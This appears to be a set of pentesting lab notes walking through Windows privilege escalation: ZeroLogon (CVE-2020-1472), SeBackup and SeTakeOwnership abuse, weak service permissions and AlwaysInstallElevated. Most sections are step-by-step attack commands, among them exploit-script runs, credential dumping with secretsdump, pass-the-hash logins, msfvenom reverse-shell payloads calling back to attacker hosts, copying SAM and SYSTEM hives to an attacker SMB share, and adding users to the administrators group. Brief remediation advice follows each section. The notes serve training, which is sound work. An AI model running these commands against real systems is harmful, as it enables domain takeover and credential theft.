(CVE-2020-1472)[Privilege Escalation] ZeroLogon, Microsoft Windows Netlogon

Zero Logon is a purely statistics based attack that abuses a feature within MS-NRPC (Microsoft NetLogon Remote Protocol), MS-NRPC is a critical authentication component of Active Directory that handles authentication for User and Machine accounts. In short — the attack mainly focuses on a poor implementation of Cryptography. To be more specific, Microsoft chose to use AES-CFB8 for a function called ComputeNetlogonCredential, which is normally fine, except they had hard coded the Initialization Vector to use all zeros instead of a random string. When an attacker sends a message only containing zeros with the IV of zero, there is a 1-in-256 chance that the Ciphertext will be Zero.

Normally, if we tried a statistics based attack on any user account, we would get locked out. This is not the case if we apply this principal to machine accounts. Machines accounts behave in a much different way than standard user accounts.

An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network.

To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access.

Analyzing the MS-NRPC Logon Process

To analyze where the vulnerability occurs, we’ll be using the Diagram provided by Secura as well as Microsoft Documentation to decipher the magic behind Zero Logon. The sources can be found at the bottom of this task.

Zerologon Explained

Step by step of this process

Step 1. The client creates a NetrServerReqChallenge and sends it off [Figure 1. Step 1]. This contains the following values:

  • The DC
  • The Target Device (Also the DC, in our case)
  • A Nonce (In our case is 16 Bytes of Zero).

Step 2. The server receives the NetrServerReqChallenge, the server will then generate it’s own Nonce (This is called the Server Challenge), the server will send the Server Challenge back. [Figure 1. Step 2]

Step 3. The client (us) will compute it’s NetLogon Credentials with the Server Challenge provided [Figure 1. Step 3]. It uses the NetrServerAuthenticate3 method which requires the following parameters:

  • A Custom Binding Handle (Impacket handles this for us, it’s negotiated prior)
  • An Account Name (The Domain Controller’s machine account name. ex: DC01$)
  • A Secure Channel Type (Impacket sort of handles this for us, but we still need to specify it: [nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel])
  • The Computer Name (The Domain Controller ex: DC01)
  • The Client Credential String (this will be 8 hextets of \x00 [16 Bytes of Zero])
  • Negotiation Flags (The following value observed from a Win10 client with Sign/Seal flags disabled: 0x212fffff Provided by Secura)

Step 4. The server will receive the NetrServerAuthenticate request and will compute the same request itself using it’s known, good values. If the results are good, the server will send the required info back to the client. [Figure 1. Step 4.]

At this point the attempt to exploit the Zero Logon vulnerability is under way. The above steps above will be looped through a certain number of times to attempt to exploit the Zero Logon vulnerability. The actual exploit occurs at Step 3 and 4, this where we’re hoping for the Server to a have the same computations as the client. This is where are 1-in-256 chance comes in.

Step 5. If the server calculates the same value, the client will re-verify and once mutual agreement is confirmed, they will agree on a session key. The session key will be used to encrypt communications between the client and the server, which means authentication is successful. [Figure 1. Step 5]

Identification

Nmap

1. Discover the machine netbios name

  • nmap -sV -sC -A -T5 10.10.105.45 -Pn

Note: We can see port 3389 open that is hosting ms-wbt-server and the common name of the server is DC01.hololive.local

Metasploit

1. Test this vulnerability using Metasploit once, you get the netbios name.

  • search cve:2020-1472
  • use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
  • show options

2. Fill the required fields

  • set NBNAME DC01
  • set RHOSTS 10.10.105.45
  • run

Exploitation

1. We’ll use a script (https://github.com/Sq00ky/Zero-Logon-Exploit) to exploit this vulnerability, and change the password

  • git clone https://github.com/Sq00ky/Zero-Logon-Exploit.git
  • cd Zero-Logon-Exploit
  • ls

2. Run this script, we need the DC name and IP

  • python3 zeroLogon-NullPass.py DC01 10.10.105.45

3. Now use, impacket secretsdump to extract all the credentials

  • impacket-secretsdump -just-dc -no-pass DC01\$@10.10.105.45

4. Now we can use the administrator hash to log in using WinRM (pass-the-hash)

  • evil-winrm -u administrator -H “3f3ef89114fb063e3d7fc23c20f65568” -i 10.10.105.45
  • whoami

Remedy

Use Microsoft Automatic Update to apply the appropriate patch for your system, or the Microsoft Security Update Guide to search for available patches.

Sources

https://tryhackme.com/room/zer0logon

https://github.com/Sq00ky/Zero-Logon-Exploit

https://exchange.xforce.ibmcloud.com/vulnerabilities/185897

https://msrc.microsoft.com/update-guide/en-us/advisory/CVE-2020-1472

https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73cd1a11e

https://www.exploit-db.com/exploits/49071

https://packetstormsecurity.com/files/160127

https://www.cve.org/CVERecord?id=CVE-2020-1472

https://www.secura.com/whitepapers/zerologon-whitepaper

https://dirkjanm.io/a-different-way-of-abusing-zerologon/

https://www.exploit-db.com/exploits/49071

https://github.com/risksense/zerologon

https://github.com/SecuraBV/CVE-2020-1472

[Privilege Escalation] Windows Privileges: SeBackupPrivilege / SeRestorePrivilege

Windows operating systems, privileges refer to specific rights or permissions granted to users, groups, or processes, enabling them to perform certain actions on the system. These privileges play a crucial role in maintaining the security and integrity of the operating system by controlling access to various resources and functionalities.

https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.

SeBackupPrivilege / SeRestorePrivilege

The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.

Having this power, an attacker can trivially escalate privileges on the system by using many techniques. The one we will look at consists of copying the SAM and SYSTEM registry hives to extract the local Administrator’s password hash.

Information Gathering

1. We will need to open a command prompt using the “Open as administrator” option to use these privileges. which by default is granted the SeBackup and SeRestore privileges

  • whoami /priv

Exploitation

Backup SAM & System

1. Save the registry

  • reg save hklm\system system.hive
  • reg save hklm\sam sam.hive

2. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket’s smbserver.py to start a simple SMB server with a network share (https://github.com/fortra/impacket/tree/master/impacket)

  • cd /tmp
  • mkdir share
  • locate smbserver.py
  • impacket-smbserver -smb2support -username THMBackup -password CopyMaster555 public share

Note:

This will create a share named public pointing to the share directory, which requires the username and password of our current windows session. I tried to create a regular public server, due to strict policy I was forced to use the credentials

3. we can use the copy command in our windows machine to transfer both files to our SMB share

  • copy C:\Users\THMBackup\Desktop\sam.hive \\10.9.139.128\public\
  • copy C:\Users\THMBackup\Desktop\system.hive \\10.9.139.128\public\

4. Confirm the files were transferred to our share

  • cd /tmp/share
  • ls

5. Use impacket-secretsdump to decode the credentials

  • impacket-secretsdump -sam sam.hive -system system.hive LOCAL

6. We can finally use the Administrator’s hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges:

  • impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.209.47

Recommendations

Principle of Least Privilege (PoLP):

  • Adhere to the principle of least privilege. Grant the minimum necessary privileges to accomplish the required tasks. Avoid giving broad administrative privileges when specific backup and restore capabilities are all that is needed.

Secure Backup Operators Group:

  • The Backup Operators group has SeBackupPrivilege. Ensure that membership in this group is limited to trusted individuals who genuinely need backup-related privileges.

[Privilege Escalation] Windows Privileges: SeTakeOwnership

Windows operating systems, privileges refer to specific rights or permissions granted to users, groups, or processes, enabling them to perform certain actions on the system. These privileges play a crucial role in maintaining the security and integrity of the operating system by controlling access to various resources and functionalities.

https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.

SeTakeOwnership

The SeTakeOwnership privilege in Windows allows a user to take ownership of objects, such as files, registry keys and directories, and modify their security descriptors. This privilege is primarily used for administrative tasks, but it can potentially be abused for privilege escalation if not properly managed, search for a service running as SYSTEM and take ownership of the service’s executable. To understand how to prevent SeTakeOwnership privilege escalation, let’s discuss the requirements for a successful exploit and then explore preventive measures:

Requirements for Successful SeTakeOwnership Privilege Escalation:

Granting of SeTakeOwnership Privilege:

  • The user must be granted the SeTakeOwnership privilege, either directly or through group membership. Members of the Administrators group typically have this privilege.

Access to Target Objects:

  • The user must have read and execute permissions on the target objects (files, directories) to take ownership. Without the necessary permissions, the user won’t be able to access the objects to take ownership.

Information Gathering

1. We will need to open a command prompt using the “Open as administrator” option to use these privileges. SeTakeOwnership should be assigned

  • whoami /priv

Exploitation (Utilman)

1. We’ll abuse utilman.exe to escalate privileges. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen

utilman normal behaviour

2. Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.

  • icacls “C:\Windows\System32\Utilman.exe”

3. To replace utilman, we will start by taking ownership of it with the following command:

  • takeown /f C:\Windows\System32\Utilman.exe
  • whoami

Notice that being the owner of a file doesn’t necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need.

4. To give your user full permissions over utilman.exe you can use the following command:

  • icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
  • icacls “C:\Windows\System32\Utilman.exe”

5. After this, we will replace utilman.exe with a copy of cmd.exe, (if you can back up utilman it could be great)

  • copy cmd.exe utilman.exe

6. To trigger utilman, we will lock our screen from the start button:

7. And finally, proceed to click on the “Ease of Access” button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges:

Extra

Use this with files that might contain credentials such as

  • %WINDIR%\repair\sam
  • %WINDIR%\repair\system
  • %WINDIR%\repair\software
  • %WINDIR%\repair\security
  • %WINDIR%\system32\config\security.sav
  • %WINDIR%\system32\config\software.sav
  • %WINDIR%\system32\config\system.sav
  • %WINDIR%\system32\config\SecEvent.Evt
  • %WINDIR%\system32\config\default.sav
  • c:\inetpub\wwwwroot\web.config

Recommendations

  • Principle of Least Privilege (PoLP)
  • Regularly Audit and Review Permissions
  • Security Policies and Group Memberships

[Privilege Escalation] Insecure Service Permissions BinPath

DACL — Discretionary Access Control Lists. These are used by Windows systems to specify who can access a given resource. While they are often referenced when talking about files, they also apply to other components such as registry keys, services and scheduled tasks.

Should the service DACL (not the service’s executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.

Access Rights for the Service Control Manager

The SCM creates a service object’s security descriptor when the service is installed by the CreateService function. The default security descriptor of a service object grants the following access.

Anything like SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS is a win. In fact, any of the following permissions are worth looking out for:

  • SERVICE_CHANGE_CONFIG
  • SERVICE_ALL_ACCESS
  • GENERIC_WRITE
  • GENERIC_ALL
  • WRITE_DAC
  • WRITE_OWNER

Detection

1. List all the services and their permissions, try to find any interesting one (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • .\accesschk.exe /accepteula -uwcqv *

Note: This seems to be an interesting service which has (RW) BUILTIN\Users with SERVICE_ALL_ACCESS

2. Now query the service

  • .\accesschk.exe -qlc thmservice

Note: Here we can see that the BUILTIN\\Users group has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service.

3. Query the service for more information

  • sc.exe qc thmservice

Note: there are 2 interesting fields (BINARY_PATH_NAME & SERVICE_START_NAME)

Exploitation #1: Executable File

1. Knowing we can modify the service we can create a payload to place within the computer

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.139.128 LPORT=4447 -f exe-service -o payload.exe
  • python3 -m http.server 9997

2. Transfer this file to a location that can be read in in the target compiter

  • IWR http://10.9.139.128:9997/payload.exe -OutFile payload.exe
  • dir payload.exe

3. Once the payload is in the target computer, assign full permissions to Everyone

  • icacls C:\Users\thm-unpriv\payload.exe
  • icacls C:\Users\thm-unpriv\payload.exe /grant Everyone:F
  • icacls C:\Users\thm-unpriv\payload.exe

4. Modify the service BINARY_PATH_NAME to be directed to our payload script

  • sc.exe qc THMService
  • sc.exe config THMService binPath= “C:\Users\thm-unpriv\payload.exe” obj= LocalSystem
  • sc.exe qc THMService

5. Start a listener in your local computer, using the same port as the payload

  • nc -lvnp 4447

6. Stop and then start the service

  • sc stop THMService
  • sc start THMService

7. Checking the reverse shell, you should see a connection back

  • whoami

Exploitation #2: Command

1. Instead of uploading a file, you can execute a command instead.

  • whoami
  • sc config daclsvc binpath= “net localgroup administrators <user> /add”

2, Confirm the change

  • qc daclsvc
  • qc <service>

3. Restart the service

  • sc start daclsvc

Before

  • net localgroup administrator

After

  • net localgroup administrator

Recommendations

Principle of Least Privilege (PoLP):

  • Follow the principle of least privilege, which means granting the minimum level of access or permissions necessary for a user or system to perform its functions. Avoid giving unnecessary privileges to services or users.

Isolate Services:

  • Run different services in isolated environments or containers to minimize the potential impact of a security breach in one service on others.

Access Controls:

  • Implement robust access controls to restrict access to sensitive resources. Use tools like access control lists (ACLs) and ensure that permissions are properly configured.

Security Policies:

  • Develop and enforce security policies that clearly define acceptable use and access levels. Regularly review and update these policies.

[Privilege Escalation] Insecure Permissions on Service Executable

In Windows, services are programs or processes that run in the background, providing essential functionality to the operating system. Each service is associated with an executable file that defines its behavior

Insecure Permissions on Service Executable Privilege Escalation refers to a security vulnerability where the permissions assigned to a service executable in Windows are improperly configured, allowing unauthorized users or attackers to escalate their privileges and gain higher levels of access on a system. This type of vulnerability can pose a significant threat to the overall security of a system, as it may lead to unauthorized access, data breaches, and potential system compromise.

Common scenarios leading to insecure permissions on service executables include:

  • Improper Configuration: Misconfigurations during service installation or updates may result in insecure file permissions.
  • Weak Access Controls: Services may inherit permissions from parent directories or have default permissions that are overly permissive, allowing non-privileged users to modify or replace the executable.

Procedure

1. Enumerate all services to check if their original .exe (binary) is writable.

2. Modify or change the original binary with your payload .exe binary.

3. Refresh or start the service, the service will execute its .exe & run whatever is written on it with SYSTEM privileges.

Access Rights for the Service Control Manager

The SCM creates a service object’s security descriptor when the service is installed by the CreateService function. The default security descriptor of a service object grants the following access.

Anything like SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS is a win. In fact, any of the following permissions are worth looking out for:

  • SERVICE_CHANGE_CONFIG
  • SERVICE_ALL_ACCESS
  • GENERIC_WRITE
  • GENERIC_ALL
  • WRITE_DAC
  • WRITE_OWNER

Detection

PowerUp

1. Running PowerUp, you can find which services are modifiable

  • Import-module .\PowerUp.ps1
  • Get-ModifiableServiceFile

CMD

1. Run accesschk.exe to know which permissions your user has, you need to download this from (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • whoami
  • .\accesschk64.exe /accepteula -uwcqv “<User>” *
  • .\accesschk64.exe /accepteula -uwcqv “Authenticated Users” *

Note: In this case we have SERVICE_ALL_ACCESS

2. List all the services and their permissions, try to find any interesting one

  • .\accesschk64.exe /accepteula -uwcqv *

Note: This will show list each service and the groups which have write permissions to that service

3. Query this service for more information

  • sc qc WindowsScheduler

Note: there are 2 interesting fields (BINARY_PATH_NAME & SERVICE_START_NAME)

4. Check what permissions you have on the BINARY_PATH_NAME file, (everyone appears to have M – Modify permissions)

  • icacls C:\PROGRA~2\SYSTEM~1\WService.exe

Note: (I) indicates inherited permissions, (F) denotes full control, (RX) represents read and execute permissions, modify permissions (M). if you have an account in any of these groups then you’ve potentially got privilege escalation.

5. Check the permissions on the file

  • .\accesschk64.exe /accepteula -uwqv “C:\PROGRA~2\SYSTEM~1\WService.exe”

6. Check which groups this user is member of

  • net user thm-unpriv

Note: We can see we are part of Users group, which has (RW) permissions on the C:\PROGRA~2\SYSTEM~1\WService.exe file

Exploitation

1. The Everyone group has modify permissions (M) on the service’s executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-shell.exe
  • python3 -m http.server 9999

2. Transfer this file to the target machine

  • IWR http://10.9.139.128:9999/rev-shell.exe

3. Once the file has been transferred, start a listener in your local machine

  • nc -lvnp 4445

4. Move to the target folder (C:\PROGRA~2\SYSTEM~1\) and rename the target file (WService.exe) to create a back up

  • cd C:\PROGRA~2\SYSTEM~1\
  • dir Wserv*
  • move WService.exe WService.exe.bak

5. Now move the reverse shell payload to the target directory

  • move C:\Users\thm-unpriv\rev-shell.exe WService.exe
  • dir WServ*

6. Now assign Full (F) permissions to Everyone

  • icacls WService.exe
  • icacls WService.exe /grant Everyone:F
  • icacls WService.exe

7. Once, the original file has been replaced by our crafted program, we will proceed to restart the service that run it

  • sc.exe stop windowsscheduler
  • sc.exe start windowsscheduler

8. As it ran, you should get the reverse shell

  • whoami

Metasploit

This module attempts to exploit existing administrative privileges to obtain a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure configuration, file or registry permissions that may be hijacked. It will then attempt to restart the replaced service to run the payload.

  • use exploit/windows/local/service_permissions
  • set lhost 192.168.1.3
  • set session 1
  • exploit

This will result in a new session as NT AUTHORITY\SYSTEM when this succeeds.

Remedy

Check if any of the following groups have permissions to modify executable files that are started by Windows services:

– Everyone

– Users

– Domain Users

– Authenticated Users

Ensure the groups listed above do not have permissions to modify or write service executables. Additionally, ensure these groups do not have Full Control permission to any directories that contain service executables.

Sources

https://medium.com/@LE0_Hak/privileges-escalation-techniques-basic-to-advanced-for-windows-d0f0c04d6d04

https://asfiyashaikh.medium.com/windows-privesc-weak-service-permission-b90f3bf4d44f

https://www.hackingarticles.in/windows-privilege-escalation-weak-services-permission/

https://medium.com/@gwazzu/windows-privilege-escalation-c7465a92317c

https://help.defense.com/en/articles/6600745-insecure-windows-service-permissions

https://www.tenable.com/plugins/nessus/65057

[Privilege Escalation] Abusing AlwaysInstallElevated

AlwaysInstallElevated is a registry setting in Microsoft Windows that, when configured, allows non-administrative users to install Microsoft Windows Installer packages (MSI files) with elevated privileges. This setting is intended for specific scenarios where non-administrative users need the ability to install certain software packages. However, if misconfigured or abused, it can pose a security risk.

If a machine has the AlwaysInstallElevated policy enabled, an attacker could craft a malicious .msi package and run it using SYSTEM level privileges, therefore executing arbitrary code as SYSTEM.

For this attack to work, the “AlwaysInstallElevated” value in following Registry keys has to be set to 1:

  • HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

For the Windows configuration

Type gpedit.msc in the Run dialog box of the Start Menu in the Windows 7 machine and the Local Group Policy editor window prompt will open

  • Change the settings of AlwaysInstalledElevated policy
  • For the Computer configuration

Navigate to the below path in the Windows machine

  • Computer Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges

For the User configuration

Navigate to the below path in the Windows machine

  • User Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges

Detection

1. Query the AlwaysInstallElevated registries

  • reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

WinPEAS

1. This can also be checked with automated scripts such as WinPEAS:

  • winpeas.exe quiet systeminfo

Exploitation (Binary Reverse Shell)

1. We can craft our own MSI payload, in this case we will use MSFVenom

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.254.109 LPORT=LOCAL_PORT -f msi -o malware.msi
  • msfvenom -p windows/exec CMD=’net localgroup administrators raaz /add’ -f msi > /root/Desktop/malware.msi

2. Transfer the Msi package to the target computer

3. install the .msi file:

  • msiexec /quiet /qn /i malware.msi

The flags used are for the following:

  • /quiet – quiet mode, which means there’s no user interaction required
  • /qn – specifies there’s no UI during the installation process
  • Specifies normal installation

Note: Once the package is installed, the malicious code is executed, granting SYSTEM level access to the system through a reverse shell.

Metasploit (Post-Exploitation)

1. This vulnerability can also be exploited by using the always_install_elevated Metasploit module. Once a meterpreter shell is obtained, all that is required is to brackground the session, search for and set the module, set the session value and run it:

  • use exploit/windows/local/always_install_elevated
  • msf exploit(always_install_elevated) > set session 1
  • msf exploit(always_install_elevated) > exploit

PowerUp (Write-UserAddMSI)

This function writes out a precompiled MSI installer that prompts for a user/group addition. This function can be used to abuse Get-RegistryAlwaysInstallElevated (PowerUp)

1. Identify local group members of the Administrators group

  • net localgroup Administrators

2. Now run the script, it will create a new MSI file, this new file will create a new user and assign it to the administrators group

  • Write-UserAddMSI

3. Execute this MSI file with the AlwaysInstallElevated permissions

  • Open the MSI (double click)
  • Use msiexec to run it

4. Click on create, and check again the administrators group.

  • net localgroup Administrators

Recommendations

1. Disable “AlwaysInstallElevated” Policy

To mitigate this type of attack, the following steps can be used in Group Policy editor to resolve the misconfiguration. Configure the policy value to “Disabled” for

  • Computer Configuration \Administrative Templates\Windows Components \Windows Installer \”Always install with elevated privileges”
  • User Configuration\Administrative Templates\Windows Components\Windows Installer \”Always install with elevated privileges”

2. Limit User Privileges

3. Registry Events

  • The below snippet shows Sysmon Event ID 13: RegistryEvent (Value Set).

References

https://steflan-security.com/windows-privilege-escalation-alwaysinstallelevated-policy/

https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/

https://juggernaut-sec.com/alwaysinstallelevated/

https://systemweakness.com/understanding-registry-escalation-exploiting-the-alwaysinstallelevated-setting-for-windows-c9d137152849

https://dmcxblue.gitbook.io/red-team-notes/privesc/unquoted-service-path

https://bherunda.medium.com/windows-privesc-detecting-alwaysinstallelevated-policy-abuse-f3ffa7a734bd

https://library.mosse-institute.com/articles/2022/07/windows-privilege-escalation-alwaysinstallelevated/windows-privilege-escalation-alwaysinstallelevated.html